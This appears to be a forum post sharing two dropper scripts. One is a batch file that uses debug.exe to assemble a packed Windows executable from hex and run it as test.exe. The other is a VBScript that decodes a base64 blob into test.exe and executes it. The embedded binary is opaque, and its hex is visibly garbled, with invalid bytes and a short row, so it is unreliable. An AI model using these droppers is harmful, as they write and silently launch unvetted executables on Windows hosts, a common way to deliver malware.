Haha, I've been researching writing files with various encodings recently.
Batch + debug
@echo e 100 4D 5A 00 00 00 00 00 00 00 00 00 00 50 45 00 00 >>1.tmp
@echo e 110 4C 01 02 00 53 4C 58 21 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 120 E0 00 0F 01 0B 01 00 00 00 00 00 00 00 0C 00 00 >>1.tmp
@echo e 130 00 00 00 00 54 01 00 00 00 10 00 00 0C 00 00 00 >>1.tmp
@echo e 140 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 >>1.tmp
@echo e 150 00 00 00 00 04 00 00 00 00 00 00 00 00 40 00 00 >>1.tmp
@echo e 160 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 >>1.tmp
@echo e 170 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 >>1.tmp
@echo e 180 10 00 00 00 00 00 00 00 00 00 00 00 34 35 00 00 >>1.tmp
@echo e 190 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 1A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 1B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 1C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 1D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 1E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 1F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 200 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 >>1.tmp
@echo e 210 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 220 00 00 00 00 00 00 00 00 E0 00 00 C0 00 00 00 00 >>1.tmp
@echo e 230 00 00 00 00 00 10 00 00 00 30 00 00 B5 05 00 00 >>1.tmp
@echo e 240 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 250 E0 00 00 C0 87 25 78 35 40 00 61 94 55 A4 B6 80 >>1.tmp
@echo e 260 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F >>1.tmp
@echo e 270 B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3A AA EB E0 >>1.tmp
@echo e 280 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 24 AC >>1.tmp
@echo e 290 D1 E8 74 2D 13 C9 EB 18 91 48 C1 E0 08 AC FF 53 >>1.tmp
@echo e 2A0 04 3B 43 F8 73 0A 80 FC 05 73 06 83 F8 7F 77 02 >>1.tmp
@echo e 2B0 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB >>1.tmp
@echo e 2C0 9F 5E AD 97 AD 50 FF 53 10 95 8B 07 40 78 F3 75 >>1.tmp
@echo e 2D0 03 FF 63 0C 50 55 FF 53 14 AB EB EE 33 C9 41 FF >>1.tmp
@echo e 2E0 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12 >>1.tmp
@echo e 2F0 D2 C3 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 >>1.tmp
@echo e 300 31 38 19 40 32 3D 09 49 24 5B 48 69 91 1D 30 FF >>1.tmp
@echo e 310 02 7F 8B 1A CE 10 77 94 0C 8C B3 29 C5 C8 09 A7 >>1.tmp
@echo e 320 91 E7 22 FB 66 0F 39 1D 09 44 29 3B 89 4F 12 5D >>1.tmp
@echo e 330 26 97 39 65 89 09 D5 32 48 BD 24 AD 67 F0 53 68 >>1.tmp
@echo e 340 65 6C E2 33 1B 32 2E 64 0C 87 B7 74 11 70 3A 2F >>1.tmp
@echo e 350 C7 BB 69 F1 62 61 D0 64 75 EC 63 3F 6F 6D 30 73 >>1.tmp
@echo e 360 1C 6C 79 78 1D 2C 20 42 79 AA 53 0B F4 2E DC 02 >>1.tmp
@echo e 370 20 31 25 73 08 42 61 9C 6A 6F 41 6E 54 69 70 20 >>1.tmp
@echo e 380 D0 65 78 75 74 6E 5B 14 AF 6C 2A 5D 08 1D 6M CF >>1.tmp
@echo e 390 6F 75 8E 28 C6 73 29 1D 67 49 90 6E 4E 4D 64 44 >>1.tmp
@echo e 3A0 F2 84 38 53 10 49 87 54 42 2C 21 8B 07 44 24 04 >>1.tmp
@echo e 3B0 6A 40 2E 19 05 01 E0 2C 68 28 70 10 97 0C C7 05 >>1.tmp
@echo e 3C0 60 16 0C E8 FF 8F 3A A3 64 34 0F 22 68 D9 1D 15 >>1.tmp
@echo e 3D0 6C 12 1F 19 70 11 64 04 00 FF 15 14 CC 67 50 0E >>1.tmp
@echo e 3E0 58 88 A3 74 C3 2D C6 05 78 40 0C 23 F8 8B 85 4A >>1.tmp
@echo e 3F0 2D FC 0A EE 08 18 08 60 EA 44 44 50 55 14 C3 90 >>1.tmp
@echo e 400 01 F0 53 8B 5C 0E 24 08 56 57 C0 FB 83 C9 FF 33 >>1.tmp
@echo e 410 72 C0 00 F6 F2 AE F7 D1 49 74 71 1C 55 8B 2D 30 >>1.tmp
@echo e 420 C3 80 3C 1E 03 5C 75 52 0F BE 7C B8 01 8D 44 C3 >>1.tmp
@echo e 430 08 83 C7 A4 98 FF 18 77 01 41 33 C9 8A 8F 20 12 >>1.tmp
@echo e 440 24 51 24 37 8D 0C 0F 50 54 1E 02 52 A0 93 D5 C6 >>1.tmp
@echo e 450 78 04 33 09 EB 26 4C 23 1C 51 1F 0A 94 16 1C B3 >>1.tmp
@echo e 460 20 F2 08 14 86 6F 54 46 6E 3B 00 F1 72 97 5D 5F >>1.tmp
@echo e 470 5E 5B C3 33 EE 11 98 D2 22 09 E0 44 C4 F6 8B 82 >>1.tmp
@echo e 480 04 BC 01 7F 01 88 02 03 AE C0 A4 50 A9 0E 68 17 >>1.tmp
@echo e 490 B4 0D 89 3F E9 05 24 26 6A DF 0E 22 64 51 32 54 >>1.tmp
@echo e 4A0 47 C2 14 0A F0 58 56 68 E0 17 92 6D 4M 05 0B 00 >>1.tmp
@echo e 4B0 8B 74 24 0C 83 C4 04 24 81 FE 21 40 76 07 BE C0 >>1.tmp
@echo e 4C0 38 27 09 39 EB 87 85 F6 77 05 B3 B8 0B 28 24 A1 >>1.tmp
@echo e 4D0 4E C8 B7 30 82 85 C0 74 17 93 5F 1D B4 51 68 94 >>1.tmp
@echo e 4E0 12 08 32 56 36 64 28 81 80 0C 5E 83 F8 03 77 48 >>1.tmp
@echo e 4F0 4F 0E 08 85 34 13 0A 68 60 27 AB 72 20 01 C8 50 >>1.tmp
@echo e 500 20 94 C3 18 F2 02 1F 90 03 FC 01 87 1E 8B 15 D2 >>1.tmp
@echo e 510 80 33 1A D5 EA 22 11 02 AD D0 2A CB 51 7C 91 D7 >>1.tmp
@echo e 520 22 58 04 F6 F0 1F 83 FE 01 D2 27 4A D8 D2 D7 00 >>1.tmp
@echo e 530 7E 23 8A 0C 3A 80 0C F9 30 7C 17 0A 39 24 7F 12 >>1.tmp
@echo e 540 D5 07 C9 8D 04 F1 42 3B D6 20 D9 41 12 D0 7C E4 >>1.tmp
@echo e 550 0A 80 C3 CA 9A 10 0E 4F 20 89 8B 4C 8E 1F 80 C1 >>1.tmp
@echo e 560 83 E8 02 74 09 3E 2D 62 04 99 C0 10 ED 15 D9 54 >>1.tmp
@echo e 570 98 C8 50 17 08 52 92 CE FC 5C CE D7 C2 96 0C C7 >>1.tmp
@echo e 580 03 41 7C 77 2C 91 81 0D 7F 25 73 FE 4B 80 FC 50 >>1.tmp
@echo e 590 80 6A 3C 17 E5 02 67 C5 8A CD 95 28 1A 90 70 F0 >>1.tmp
@echo e 5A0 83 EC 68 28 53 55 C5 EA E4 D1 3D 05 32 C7 CC 1C >>1.tmp
@echo e 5B0 44 8F 49 BD 03 8A 50 D7 64 56 98 97 33 49 DB 99 >>1.tmp
@echo e 5C0 1C 0B 53 72 AE 56 4C EA A8 D3 7C 68 D3 FA 58 73 >>1.tmp
@echo e 5D0 6F 50 30 E1 06 11 23 54 03 09 58 A0 24 2C 89 C7 >>1.tmp
@echo e 5E0 EF 2C 09 60 F1 99 54 64 11 68 94 70 4C 65 9E 9C >>1.tmp
@echo e 5F0 0F 20 CE 25 6C 98 18 64 8D C6 08 48 50 2B 51 74 >>1.tmp
@echo e 600 82 13 33 78 22 4E 48 33 53 56 D8 68 29 4F 80 05 >>1.tmp
@echo e 610 51 CF C2 9C B3 64 53 5C 44 41 50 E8 0F FC EB DC >>1.tmp
@echo e 620 D4 62 85 F6 15 34 0B 2C 08 B9 C5 1C 31 C2 39 6C >>1.tmp
@echo e 630 86 28 0F 8E AA 7D F8 56 7F 04 30 3D 40 2B 52 68 >>1.tmp
@echo e 640 E0 A2 42 44 A0 24 FF D7 5D 9A 1C 76 40 A0 F8 02 >>1.tmp
@echo e 650 3F 88 1D 6C 25 58 A9 84 14 46 08 50 26 84 04 18 >>1.tmp
@echo e 660 6C 03 80 43 18 84 FD 08 4E 58 0C 77 3F 24 AA 51 >>1.tmp
@echo e 670 2A 6F 52 4C B0 41 DF 49 44 01 92 DD FD 04 4M E1 >>1.tmp
@echo e 680 28 73 D6 04 14 03 04 7E 54 21 5E 10 59 53 91 56 >>1.tmp
@echo e 690 B2 3B 8B 51 25 E4 03 7E 07 2F 33 ED EB 2B E5 35 >>1.tmp
@echo e 6A0 21 A7 68 AC 42 05 A8 96 AB 7C D6 57 7C 11 43 96 >>1.tmp
@echo e 6B0 37 D6 68 79 20 FE 14 55 51 E8 31 8E FC 89 35 3C >>1.tmp
@echo e 6C0 28 08 1B CB 2C 53 02 24 C4 D6 B6 A0 82 35 >>1.tmp
@echo e 6D0 3D 38 2F 82 67 34 2C E5 2C 6D 50 F3 6A DE 41 28 >>1.tmp
@echo e 6E0 D5 B2 46 55 34 90 28 75 E4 AB AA E4 C1 96 5D 5B >>1.tmp
@echo e 6F0 93 82 68 21 2C 6A 01 21 42 DE 24 50 A1 43 77 0D >>1.tmp
@echo e 700 15 E8 C7 AB 54 5A 0C 8A 4F BF BF 70 AF 01 D7 CA >>1.tmp
@echo e 710 FC 93 7A 85 F0 88 56 6A 9C EC 26 66 46 A0 11 44 >>1.tmp
@echo e 720 64 CC 8A 30 01 C8 18 A5 3B 65 19 2F D5 A8 47 01 >>1.tmp
@echo e 730 65 74 4M 6F 64 75 6C DC 48 61 77 6E CA 0C 41 14 >>1.tmp
@echo e 740 3E 81 73 74 72 63 70 79 5D 0C 9F 2E 6E 29 2C 87 >>1.tmp
@echo e 750 43 6F 6D 1C 53 4C 74 69 F8 57 C7 25 45 78 90 74 >>1.tmp
@echo e 760 50 72 6F 7D 63 71 73 AF 20 B0 66 4B 45 52 73 4E >>1.tmp
@echo e 770 F7 69 0B 9B 03 D9 6F 61 E9 49 94 3E 67 66 8F 50 >>1.tmp
@echo e 780 D9 B6 4M A3 73 10 1F 49 D8 57 6C 64 6F 56 77 1C >>1.tmp
@echo e 790 1F 51 75 EB 20 33 25 44 D4 19 D2 79 5D 23 94 20 >>1.tmp
@echo e 7A0 66 0C 90 7F 44 40 44 FE 73 1F 70 61 74 14 68 54 >>1.tmp
@echo e 7B0 E1 54 72 47 8D E6 6C 2C FD 4A 49 45 F2 0E 77 33 >>1.tmp
@echo e 7C0 77 6A 72 14 90 74 66 0C 3D 43 34 65 57 24 57 10 >>1.tmp
@echo e 7D0 DA 12 3F 52 36 67 AC 26 36 72 43 88 64 D0 27 C6 >>1.tmp
@echo e 7E0 A0 43 75 72 FF DF 9D 0D 0F 46 5D 09 32 8A 1C 55 >>1.tmp
@echo e 7F0 53 F1 21 EE CB 44 08 01 5F 4E 6F 74 69 66 79 69 >>1.tmp
@echo e 800 B1 45 62 4E 1F 3D 54 83 41 72 67 76 57 24 51 48 >>1.tmp
@echo e 810 24 29 25 CC 5C 6D 3A 65 4B 62 16 45 76 43 75 E5 >>1.tmp
@echo e 820 32 10 53 88 B2 0F 60 57 49 4E 4D E3 59 61 0E 01 >>1.tmp
@echo e 830 BA ED 80 00 8C 35 00 00 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 840 F2 01 00 00 8C 35 00 00 00 00 00 00 00 00 00 00 >>1.tmp
@echo e 850 00 00 00 00 00 00 00 00 00 00 00 00 00 10 40 00 >>1.tmp
@echo e 860 00 30 40 00 48 18 40 00 00 00 00 00 7C 35 40 00 >>1.tmp
@echo e 870 80 00 00 00 00 7D 00 00 5C 35 40 00 E8 01 40 00 >>1.tmp
@echo e 880 DC 01 40 00 DE 01 40 00 30 16 40 00 96 35 00 00 >>1.tmp
@echo e 890 A4 35 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 >>1.tmp
@echo e 8A0 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 >>1.tmp
@echo e 8B0 72 65 73 73 00 >>1.tmp
@echo rcx>>1.tmp
@echo 7B5>>1.tmp
@echo n 2.tmp>>1.tmp
@echo w>>1.tmp
@echo q>>1.tmp
@debug<1.tmp>nul
@Copy /b /y 2.tmp test.exe
del *.tmp
start test.exe
Base64 encoded VBS
bs=_
"NpFAAAAAAAAAAAAAQVEAAwUACAwUMhVIAAAAAAAAAAA4A8QALEAAAAAAAAAAMAAAAAAAAQVAAAAAQAAAMAAAAAAAABAAQAAAAIAAAQAAAAAAAAAAEAAAAAAAAAAAABAAAIAAAAAAAAgAAAAAAAAEAAAEAAAAAABAAABAAAAAAAAE"+_
"AAAAAAAAAAAAAAAN1AAAECAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+_
"AAAAAAAAAAAAAAAIAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwAAAAAAAAAAAAQAAAAADAAUbBAAAACAAAAAAAAAAAAAAAAAAAgDAAAfYJ4VDQAEGlVRqtA+/Ezl/MJ//EzZxMA//Ez9htAGEsQ8/ESA8c6XnOquO4/PFC"+_
"CY/gZHQdO8/UEsOJsGN601yEJvOGRiUwgjAr/PFB7ME+zpAg8XwcGMI+/dnABFUlLWstAY1i3vC8zTqXr/pXteZrQ9/UQU5iHAEezX3A/PGDQV1/TRxqr7+MJH0/TMRy/Phc4PsASXXBKahRSI9wLVkUOVETzIjLkxGbAAQM4kBQ"+_
"y0TCJRyWIlWkdAz/C83ia4ME3RJDMObKFjcCnG55isvZPkTHJQUK7k4TS0lJXmTZJmQ1ygUvk06ZwPFalxm4zshMuQGDHeLdRAnOvc8upFvYhBNZ1x+Y/8WbwMHHslHedwCIClnqTtA9uwtAgETJzhgQhxpavFkbUlGcgAdZ4VHd"+_
"utFFvymKdhQHt98b15IKGPXKdcWSQ6mTNRGRyTIOTBRSHSlQsEyiHQEJEoGQukRBBAOLohCcQcJDHXAYWwA6//oOjSGNPICaZ3RFsJxHZAXEkRAA/XBFMfGUOgFijS3wtYcB4BEDjg/iFqUL8rg7IgBCgpOREBVVUMMkBA/ULylD"+_
"kggVXB8+Dm8/zIHwAYv8uef0JRXccU1itAzwAyjHDwVdS9gv8hbANS0wIM4xki5/YcXABNTyK+IISQSUkcTjM8AUU5hASB6kVbMeEMTCrbCTjwRUfoAlWwxsgIPCUY4bUZkb7AQ8ydZXf51WDPj7Rgp0ikA4ERs9LKIB8GwfBgoA"+_
"D4KwkCVqOg2F02Qi/keBkYiaf7gIkFlMUdkwUoA8YZFagfhkt1UBLAwi0RCDDSMBkEo/hAkdH4Lw4cSC5s+hFa/dFMLuLgCJh6Ey3CjgFCMdXM5XdQbUoRpEIIjV2QGKBCIDeNI+DcHSP5ACFSzEKgGYnsqcgEAyQBClDjh8C8Bk"+_
"DwfAH6xiVINgzoR1qLSEC0K0qscU8F51igFB2D/HD6fASfiSYL91A43IKygOAyQ+ww3FKkDJ/JR1HkcjEEvQ7YNIZHkEQzH5KA4wKrJEO8EIJuITO+BgBPI6CQXC+0iYEkJwQ0eFZTFmID1FIIlkOzPXOftwWywxDEEf3xSkB2wf"+_
"lMn/LBI/QBoa8cR5CcWxK2clooBkwB/gsjGKTVVxqTe09UgMHzMHE9YS9OgiQdNZWh5lzk02ZyxCTJnrWxk6oONfoNt+YN3bQBT4GExIUNQCYBKJsk4xvzSCgFfmURWEoRJcMVmnc+AIOXCbYiBZNaMCIB1KRRngTMDei4ESzMlV"+_
"YjWKPBYBR9swcOLZTxFRBBF6Pw/6cTtYFafF0sALIkbxcEjw5wmho8gjq2H+W9HBw0DQrIFagLqQEBKJ/fdXayhdABK+C8DidwWJYlKhUYECQZChEgBbDA4QYQY/I4EWMc3PkoaUq8mUMBbQfnERBIZ39TQThjycWTAFDQgfUFiX"+_
"Qk1URals7sYUlQ+A+dwLz0+6rUeNhcKasKUBoa5q8Z9V8FxQWej1olHI+TRVRheMOyfi1wzs3gCCbsMLTJAJEbttgKYN9gzLCeGNsUOLtB18q5dQoUtsGVFNQiSdkvqqkHsldt1kCiWIsoWAhIk3kAVoDdXDVg+xrSlWMo4T/+Lc"+_
"vGw1Kz/k6VI8IalacyuJmZEoRQEZMrIMBgMGluTZZ8S1oeUAlRXTvRWdsxNShdnbKzQQU4TgzRncjBXedxwnu4WKsc4Qv1GHTxEdph/VHXSR4BJdQJ3b9NWcz9KIwa2SFJ1cOdfaLs5AZ/WYpnEl+cmZPCV2220ozBxHJh9VsR2b"+_
"WdHHfEVdrDyMlQE1ZIdedNClgYGDQ+HRARk/z9BchRHFoRV4UJ3RNaObs0vSJVk8Oc3M3pmcUAJdmxQPDRTZXRyVQotE/IlNnxqJ2I3QISG0nYMoDVnc//dnN8gRdlgMKyRVTFfIuvMRIEwXO9GdpZWepFbRi50H9Q1gBJ3Z2dFJ"+_
"RhEJpUCzc1mOltkYWUkdDVX5yAxUIK7DgdVSO104ZFmDBob7ACAj1AAAAAAAAAAAAAg8BAAAMWDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAMABASYAEAAAAAAwXNABAgAAAAA0HAAwVNABA6BAEAcHAQA4dAABAMWAEAWWDA"+_
"AQaNAAAAAAAAM9WYkxUaiJXYylXQAAwRlRHUy92YBRGZyV2czBA="+_
"":set rs=CreateObject("ADODB.Recordset")
set ado=CreateObject("ADODB.Stream")
set ws=wscript.createobject("wscript.shell")
l=len(bs):ss="":for k=1 to l step 4096:ss=ss+ub64(mid(bs,k,4096)):next:l=len(ss)
rs.fields.append "b",205,l/2:rs.open:rs.addnew:rs("b")=ss+chrb(0):rs.update
ado.mode=3:ado.type=1:ado.open:ado.write rs("b").getchunk(l/2)
ado.savetofile "test.exe",2:ado.close
function ub64(s):dim t(4),b(3):ub64="":n=len(s):r=2
if n mod 4<>0 then exit function:end if:for i=1 to n step 4:for j=0 to 3
a=asc(mid(s,i+j,1)):if a=43 then:a=62:else if a=47 then:a=63:else if a>47 and a<58 then:_
a=a+4:else if a=61 then:a=0:if r=2 then r=j-2:end if:else if a>64 and a<91 then:_
a=a-65:else if a>96 and a<123 then:a=a-71:else:exit function:_
end if:end if:end if:end if:end if:end if:t(j)=a:next
b(0)=t(0)+t(1)*64 mod 256:b(1)=t(1)\4+t(2)*16 mod 256:b(2)=t(2)\16+t(3)*4
for j=0 to r:if b(j)<16 then ub64=ub64+"0":end if:ub64=ub64+hex(b(j))
next:next:end function
ws.run "test.exe"